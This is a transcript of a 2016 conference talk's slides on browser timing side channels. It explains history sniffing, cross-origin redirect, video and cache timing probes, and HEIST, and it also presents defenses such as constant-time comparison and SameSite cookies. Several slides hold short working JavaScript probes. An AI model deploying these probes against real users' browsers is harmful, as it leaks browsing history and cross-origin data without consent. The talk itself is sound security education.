Front-End Performance: The Dark Side @ ColdFront Conference 2016

24e08a9ea84deb17ae121074d0f17125?s=47 Mathias Bynens
September 01, 2016

Front-End Performance: The Dark Side @ ColdFront Conference 2016

In security-sensitive situations, performance can actually be a bug rather than a feature. This presentation covers timing attacks on the web, and demonstrates how modern performance-related web APIs can sometimes have a negative security impact.

More information: https://dev.opera.com/blog/timing-attacks/

24e08a9ea84deb17ae121074d0f17125?s=128

Mathias Bynens

September 01, 2016
Tweet

Transcript

  1. @mathias THE DARK SIDE FRONT-END PERFORMANCE

  2. @mathias

  3. @mathias THE DARK SIDE FRONT-END PERFORMANCE

  4. @mathias function compare(a, b) { return a === b; }

    compare('Fronteers', 'Fronteers'); // → true @ 1000 μs compare('Fronteers', 'Fronteerz'); // → false @ 1000 μs compare('Spring', 'Thing'); // → false @ 100 μs compare('Spring', 'Zpring'); // → false @ 200 μs
  5. @mathias function compare(a, b) { return a === b; }

    compare('ColdFront', 'ColdFront'); // → true @ 1000 μs compare('ColdFront', 'ColdFrond'); // → false @ 1000 μs compare('Pikachu', 'Pichu'); // → false @ 100 μs compare('CSS', 'XSS'); // → false @ 200 μs
  6. @mathias function compare(a, b) { return a === b; }

    compare('ColdFront', 'ColdFront'); // → true @ 1000 μs compare('ColdFront', 'ColdFrond'); // → false @ 1000 μs compare('Pikachu', 'Pichu'); // → false @ 100 μs compare('CSS', 'XSS'); // → false @ 200 μs
  7. @mathias function compare(a, b) { const lengthA = a.length; if

    (lengthA !== b.length) { return false; // performance optimization #1 } for (let index = 0; index < lengthA; index++) { if (a.charCodeAt(index) !== b.charCodeAt(index)) { return false; // performance optimization #2 } } return true; // worst-case perf scenario }
  8. @mathias compare('ColdFront', 'ColdFront'); // → true @ 1000 μs compare('ColdFront',

    'ColdFrond'); // → false @ 1000 μs [opt. #2] compare('Pikachu', 'Pichu'); // → false @ 100 μs [opt. #1] compare('CSS', 'XSS'); // → false @ 200 μs [opt. #2]
  9. @mathias SIDE-CHANNEL LEAK

  10. @mathias TIMING ATTACK

  11. @mathias compare($userInput, $secret);

  12. @mathias function compare(a, b) { const lengthA = a.length; if

    (lengthA !== b.length) { return false; // performance optimization #1 // allows attackers to figure out expected length } for (let index = 0; index < lengthA; index++) { if (a.charCodeAt(index) !== b.charCodeAt(index)) { return false; // performance optimization #2 // allows attackers to figure out expected // characters, one by one (except the last one) } } return true; // worst-case perf scenario }
  13. @mathias function safeCompare(a, b) { const lengthA = a.length; let

    result = 0; if (lengthA !== b.length) { b = a; result = 1; } for (let index = 0; index < lengthA; index++) { result |= ( a.charCodeAt(index) ^ b.charCodeAt(index) ); // XOR } return result === 0; }
  14. @mathias STEALING BROWSING HISTORY

  15. @mathias :link { color: green; } :visited { color: red;

    }
  16. @mathias <ul> <li><a href="https://www.facebook.com/">Facebook</a> <li><a href="https://twitter.com/">Twitter</a> <li><a href="https://www.reddit.com/">Reddit</a> <li><a href="https://www.instagram.com/">Instagram</a>

    <li><a href="https://github.com/">GitHub</a> </ul>
  17. @mathias const links = document.querySelector(':visited'); for (const link of links)

    { console.log(`The user has visited ${ link.href }!`); }
  18. @mathias const links = document.querySelector(':visited'); for (const link of links)

    { console.log(`The user has visited ${ link.href }!`); } not a timing attack
  19. @mathias for (const link of document.links) { const color =

    getComputedStyle(link).color; if (color === 'rgb(255, 0, 0)') { // The color is red, i.e. `:visited` applies. console.log(`The user has visited ${ link.href }!`); } }
  20. @mathias for (const link of document.links) { const color =

    getComputedStyle(link).color; if (color === 'rgb(255, 0, 0)') { // The color is red, i.e. `:visited` applies. console.log(`The user has visited ${ link.href }!`); } } not a timing attack
  21. @mathias /* CSS */ :link { /* Increasing blur-radius makes

    (re-)rendering */ /* links slower. */ text-shadow: 100px 100px 199px #000; } /* JavaScript */ requestAnimationFrame(timeEachFrame);
  22. @mathias /* CSS */ :link { /* Increasing blur-radius makes

    (re-)rendering */ /* links slower. */ text-shadow: 100px 100px 199px #000; } /* JavaScript */ requestAnimationFrame(timeEachFrame); timing attack!!1
  23. @mathias SNIFFLY @BCRYPT

  24. @mathias

  25. @mathias SIMPLEST POSSIBLE TIMING ATTACK ON THE WEB

  26. @mathias const image = new Image(); image.onerror = stopTimer; const

    end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; startTimer(); image.src = 'https://example.com/admin.php';
  27. @mathias const image = new Image(); image.onerror = function() {

    const end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; const start = performance.now(); image.src = 'https://example.com/admin.php';
  28. @mathias

  29. @mathias 750 ms

  30. @mathias

  31. @mathias 1250 ms

  32. @mathias const image = new Image(); image.onerror = function() {

    const end = performance.now(); const delta = end - start; alert(`Loading took ${ delta } milliseconds.`); }; const start = performance.now(); image.src = 'https://example.com/admin.php';
  33. @mathias REDIRECT DETECTION ⏱ ATTACK @TOMVANGOETHEM

  34. @mathias const start = performance.now(); fetch(url, { 'credentials': 'include', 'mode':

    'no-cors' }).then(function() { const entries = performance.getEntriesByName(url); const fetchStart = entries.pop().fetchStart; const delta = fetchStart - start; const isRedirect = delta > 10; if (isRedirect) { console.log(`The URL ${ url } is a redirect.`); } else { console.log(`The URL ${ url } is not a redirect.`); } });
  35. @mathias const start = performance.now(); fetch(url, { 'credentials': 'include', 'mode':

    'no-cors' }).then(function() { const entries = performance.getEntriesByName(url); const fetchStart = entries.pop().fetchStart; const delta = fetchStart - start; const isRedirect = delta > 10; if (isRedirect) { console.log(`The URL ${ url } is a redirect.`); } else { console.log(`The URL ${ url } is not a redirect.`); } });
  36. @mathias const start = performance.now(); fetch(url, { 'credentials': 'include', 'mode':

    'no-cors' }).then(function() { const entries = performance.getEntriesByName(url); const fetchStart = entries.pop().fetchStart; const delta = fetchStart - start; const isRedirect = delta > 10; if (isRedirect) { console.log(`The URL ${ url } is a redirect.`); } else { console.log(`The URL ${ url } is not a redirect.`); } });
  37. @mathias const start = performance.now(); fetch(url, { 'credentials': 'include', 'mode':

    'no-cors' }).then(function() { const entries = performance.getEntriesByName(url); const fetchStart = entries.pop().fetchStart; const delta = fetchStart - start; const isRedirect = delta > 10; if (isRedirect) { console.log(`The URL ${ url } is a redirect.`); } else { console.log(`The URL ${ url } is not a redirect.`); } });
  38. @mathias const start = performance.now(); fetch(url, { 'credentials': 'include', 'mode':

    'no-cors' }).then(function() { const entries = performance.getEntriesByName(url); const fetchStart = entries.pop().fetchStart; const delta = fetchStart - start; const isRedirect = delta > 10; if (isRedirect) { console.log(`The URL ${ url } is a redirect.`); } else { console.log(`The URL ${ url } is not a redirect.`); } });
  39. @mathias

  40. @mathias

  41. @mathias

  42. @mathias

  43. @mathias VIDEO PARSING ⏱ ATTACK @TOMVANGOETHEM

  44. @mathias const video = document.createElement('video'); // `suspend` event == download

    complete video.onsuspend = startTimer; // `error` event == parsing complete video.onerror = stopTimer; video.src = 'https://example.com/admin.php';
  45. @mathias CACHE STORAGE ⏱ ATTACK @TOMVANGOETHEM

  46. @mathias const url = 'https://example.com/admin.php'; const dummyRequest = new Request('dummy');

    fetch(url, { 'credentials': 'include', 'mode': 'no-cors' }).then(function(response) { // The download has completed. startTimer(); return cache.put(dummyRequest, response.clone()); }).then(function() { // The resource has been stored in the cache. stopTimer(); });
  47. @mathias

  48. @mathias

  49. @mathias

  50. @mathias

  51. @mathias

  52. @mathias 30 ms

  53. @mathias

  54. @mathias 15 ms

  55. @mathias

  56. @mathias

  57. @mathias

  58. @mathias

  59. @mathias "

  60. @mathias HEIST

  61. @mathias

  62. @mathias HTTP

  63. @mathias HTTP Encrypted

  64. @mathias HTTP Encrypted Information can be

  65. @mathias HTTP Encrypted Information can be Stolen through

  66. @mathias HTTP Encrypted Information can be Stolen through TCP windows

  67. @mathias mths.be/bvo

  68. @mathias “HEIST is a set of techniques that exploit timing

    side-channels in the browser […] to determine whether a response fitted into a single TCP window or whether it needed multiple. […] an attacker can determine the exact amount of bytes that were needed to send the response back to the client, all from within the browser. It so happens to be that knowing the exact size of a cross-origin resource is just what you need to launch a compression-based attack, which can be used to extract content (e.g. CSRF tokens) from any website using gzip compression.”
  69. @mathias “HEIST is a set of techniques that exploit timing

    side-channels in the browser […] to determine whether a response fitted into a single TCP window or whether it needed multiple. […] an attacker can determine the exact amount of bytes that were needed to send the response back to the client, all from within the browser. It so happens to be that knowing the exact size of a cross-origin resource is just what you need to launch a compression-based attack, which can be used to extract content (e.g. CSRF tokens) from any website using gzip compression.”
  70. @mathias PREVENTION

  71. @mathias SAME-SITE COOKIES

  72. @mathias Set-Cookie: key=value; HttpOnly; secure; SameSite=strict

  73. @mathias Set-Cookie: key=value; HttpOnly; secure; SameSite=strict

  74. @mathias Set-Cookie: key=value; HttpOnly; secure; SameSite=lax

  75. @mathias BLOCK THIRD-PARTY ###

  76. @mathias

  77. @mathias THANKS! Research by @pdjstone: mths.be/bvn Sniffly by @bcrypt: mths.be/buy

    Research by @tomvangoethem: mths.be/buz HEIST by @tomvangoethem & @vanhoefm: mths.be/bvp Introduction to Same-Site cookies: mths.be/bvq